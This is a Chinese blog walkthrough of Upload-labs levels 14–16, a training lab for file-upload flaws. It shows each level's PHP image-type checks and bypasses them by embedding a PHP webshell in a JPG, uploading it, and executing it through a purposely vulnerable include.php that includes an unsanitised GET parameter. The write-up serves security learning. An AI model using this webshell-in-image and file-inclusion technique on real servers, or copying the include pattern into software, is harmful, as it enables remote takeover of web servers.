• Upload-labs-14-16


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    测试的靶机是作者自己购买的vps搭建的环境,使用了白名单形式访问!

    Pass-14

    • 查看本关卡代码
    function getReailFileType($filename){
        $file = fopen($filename, "rb");
        $bin = fread($file, 2); //只读2字节
        fclose($file);
        $strInfo = @unpack("C2chars", $bin);    
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
        $fileType = '';    
        switch($typeCode){      
            case 255216:            
                $fileType = 'jpg';
                break;
            case 13780:            
                $fileType = 'png';
                break;        
            case 7173:            
                $fileType = 'gif';
                break;
            default:            
                $fileType = 'unknown';
            }    
            return $fileType;
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_type = getReailFileType($temp_file);
    
        if($file_type == 'unknown'){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    • 根据提示检测了代码内容的开头两个字节,且页面提示需要上传图片木马拿shell,所以首先本地制作个图片木马
    • copy bmfx.jpg/b + ant.php/a shelljpg.jpg
    • 参数/b指定以二进制格式复制
    • 参数/a指定以ASCII格式复制
    • 最后是合并好的带一句话的jpg文件

    • 然后直接上传此图片
    • 得到图片地址:4020200930032126.jpg
    • 因为本关卡还提示需要通过文件包含来读取jpg里面的小马代码拿shell,所以需要建立一个包含代码的文件,我这里就定义名称为include.php,内容如下:
    <?php
    $file = $_GET[ 'page' ] ;
    include ($file);
    ?>
    • 到了此步就可以直接包含图片拿shell了
    • http://106.54.35.126/upload/include.php?page=4020200930032126.jpg

    • 成功拿shell

    Pass-15

    • 查看本关卡代码
    function isImage($filename){
        $types = '.jpeg|.png|.gif';
        if(file_exists($filename)){
            $info = getimagesize($filename);
            $ext = image_type_to_extension($info[2]);
            if(stripos($types,$ext)>=0){
                return $ext;
            }else{
                return false;
            }
        }else{
            return false;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    • 根据本关卡的提示是使用了getimagesize()函数,此函数是获取文件类型是不是图片格式的,但是此函数还是根据文件开头去判断的,所以我们插入在后面的一句话木马不受影响,可以继续利用
    • 具体看如下演示,最终上传成功的访问路径:http://106.54.35.126/upload/include.php?page=6520200930034550.jpeg

    Pass-16

    • 查看本关卡代码
    function isImage($filename){
        //需要开启php_exif模块
        $image_type = exif_imagetype($filename);
        switch ($image_type) {
            case IMAGETYPE_GIF:
                return "gif";
                break;
            case IMAGETYPE_JPEG:
                return "jpg";
                break;
            case IMAGETYPE_PNG:
                return "png";
                break;    
            default:
                return false;
                break;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    • 根据本关卡的提示,发现又换了个函数来检查是否是图片,函数名称是exif_imagetype() 此函数跟上一关卡的函数差别不大,只是本关卡的函数返回值少了些,所以同样使用使用图片木马上传拿shell
    • 具体请看如下演示:访问  http://106.54.35.126/upload/include.php?page=3320200930051801.jpg

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    poj3372 Candy Distribution
    poj3270 Cow Sorting
    poj2888 Magic Bracelet
    poj2429 GCD & LCM Inverse
    poj1811 Prime Test
    poj2689 Prime Distance
    【思维】2017多校训练七 HDU6121 Build a tree
    【字符串+BFS】Problem 7. James Bond
    【dfs】codeforces Journey
    【思维+贪心】codeforces Game of the Rows
  • 原文地址:https://www.cnblogs.com/autopwn/p/13753716.html
Copyright © 2020-2023  润新知